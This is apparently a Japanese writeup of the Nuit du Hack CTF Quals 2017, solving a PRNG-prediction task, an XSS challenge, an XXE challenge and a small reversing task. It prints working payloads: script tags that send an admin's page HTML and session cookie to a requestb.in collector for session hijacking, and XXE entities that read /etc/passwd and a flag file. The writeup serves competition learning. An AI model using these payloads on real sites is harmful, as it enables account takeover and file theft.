Nuit du Hack CTF Quals 2017 供養(Writeup)

Nuit du Hack CTF Quals 2017に参加。410ptで113位。

Slumdog Millionaire (Web 100)

10個の疑似乱数を繋げたトークンとして、次に何が出てくるか求める問題。 seedがプロセスIDになっているので、last winningを一つ取得した後65535通りの総当たりで解ける。

import random

def generate_combination():
    numbers = ""
    for _ in range(10):
        rand_num = random.randint(0, 99)
        if rand_num < 10:
            numbers += "0"
        numbers += str(rand_num)
        if _ != 9:
            numbers += "-"
    return numbers

last_winning = '01-89-05-10-65-27-00-70-16-50'
for i in xrange(65536):
    random.seed(i)
    x = generate_combination()
    if x == last_winning:
        print generate_combination()
$ python test.py
93-70-98-33-99-09-34-89-40-23
Here is the code to claim your 20 NDHcoins: flag{God_does_not_pl4y_dic3}

Purple Posse Market (Web 200)

ショッピングサイト。 Contactページを見ると「管理者がすぐに確認する」という記述があり、XSSがありそうなことがわかる。

とりあえずimg要素を送ると、リクエストがあった。

<img src="http://requestb.in/XXXXXXXX">
HEADERS

Total-Route-Time: 0
Cf-Ipcountry: FR
Host: requestb.in
Accept-Encoding: gzip
Cf-Visitor: {"scheme":"http"}
X-Request-Id: 38bc3fb8-3bb5-4d00-9ff8-d4649cf61945
Connection: close
Connect-Time: 0
Referer: http://localhost:3001/admin/messages/55/
Accept: */*
Accept-Language: en,*
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Cf-Ray: 348c3608c76468ea-CDG
Via: 1.1 vegur
Cf-Connecting-Ip: 163.172.102.12

続けて、メッセージ確認画面のHTMLを調べてみる。

<script>document.write('<img src="http://requestb.in/XXXXXXXX?x=' + encodeURIComponent(document.body.innerHTML) + '">')</script>
QUERYSTRING

x: <!-- Navigation --> <nav class="navbar navbar-inverse navbar-default" role="navigation"> <div class="container"> <!-- Brand and toggle get grouped for better mobile display --> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="/">Purple posse market</a> </div> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1"> <ul class="nav navbar-nav"> <li> <a href="/about">About</a> </li> <li> <a href="/products">Products</a> </li> <li> <a href="/contact">Contact</a> </li> <li> <a href="/admin/messages/">Messages</a> </li> <li> <a href="/admin/">Profile</a> </li> <li> <a href="/admin/logout/">Sign out</a> </li> </ul> </div> <!-- /.navbar-collapse --> </div> <!-- /.container --> </nav> <!-- Page Content --> <div class="container main-container"> <div class="panel panel-default"> <div class="panel-body"> <p>From : aaa@aaa.aaa</p> <p>Message: <span id="message-content"><script>document.write('<img src="http://requestb.in/XXXXXXXX?x=' + encodeURIComponent(document.body.innerHTML) + '">')</script></span></p></div></div></div>

/admin/ を見れば、プロフィール情報がわかりそうなことがわかる。

この後しばらくXHRやFetch APIを試してみたのだが、うまくいかなかった。 そこで、Cookieの取得を試みたところ、取得することができた。

<script>document.write('<img src="http://requestb.in/XXXXXXXX?x=' + encodeURIComponent(document.cookie) + '">')</script>
QUERYSTRING

x: connect.sid=s%3A3azNpzoe0_TD-YLz3FIt9fQQWTxvzSkF.fC10idxsbkVE7toSkXss41hf8%2FjUKcs0zaTVFlSWOvc

ブラウザの開発者コンソールからdocument.cookieをセットしてセッションハイジャックを行い、/admin/にアクセスすると問題文で求められているIBAN(口座番号)が表示される。

IBAN FR14 2004 1010 0505 0001 3M02 606

No Pain No Gain (Web 75)

CSVを送るとHTMLに変換して表示してくれるページ。 不正なCSVを送ると

Could not convert the CSV to XML! Please follow the example above.

と表示されることから、XXE脆弱性がありそうなことが推測できる。

実際に次のようなCSVを送ると/etc/passwdの内容が表示され、/home/flag以下にフラグがありそうなことがわかる。

<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
id,name,email
1,name1,email1@mail.com
2,name2,email2@mail.com
3,name3,&xxe;
<table style='width:100%'><tr><th>ID</th><th>Name</th><th>Email</th></tr><tr><td>1</td><td>name1</td><td>email1@mail.com</td>
</tr><tr><td>2</td><td>name2</td><td>email2@mail.com</td>
</tr><tr><td>3</td><td>name3</td><td>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
(snip)
flag:x:1000:1000::/home/flag:/bin/sh
</td>
</tr></table>

続けて、次のようなCSVを送ると、フラグが表示された。

<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///home/flag/flag" >]>
id,name,email
1,name1,email1@mail.com
2,name2,email2@mail.com
3,name3,&xxe;
<table style='width:100%'><tr><th>ID</th><th>Name</th><th>Email</th></tr><tr><td>1</td><td>name1</td><td>email1@mail.com</td>
</tr><tr><td>2</td><td>name2</td><td>email2@mail.com</td>
</tr><tr><td>3</td><td>name3</td><td>NDH{U3VwZXIgTWFyaW8gQnJvcw0K44K544O844OR44O844Oe44Oq44Kq44OW44Op44K244O844K6DQpTxatwxIEgTWFyaW8gQnVyYXrEgXp1DQrYs9mI2KjYsdmF2KfYsdmK2Yg=}
</td>
</tr></table>

Matriochka step 1 (Reverse 35)

$ file step1.bin
step1.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2d6163f987027c7da0ef01870d1eb4a889c781f5, not stripped

アセンブリコードを読むとargv[1]から計算された文字列と Tr4laLa!!! をstrcmpで比較していることがわかる。 gdbで適当にデバッグすると、argv[1]が逆順に並び換えられていることがわかるので、条件を満たすようにargv[1]を与えると標準エラーにstep2.binが出力された。

$ ./step1.bin '!!!aLal4rT' 2>step2.bin
Well done :)

!!!aLal4rTがフラグ。

所感

他に解きたかった問題は以下。

  • Matriochka step 2 (Reverse 70)
  • Mendeleev (Steganography 20)
  • Divide and rule (Web 120)
  • Entrop3r (Exploit 350)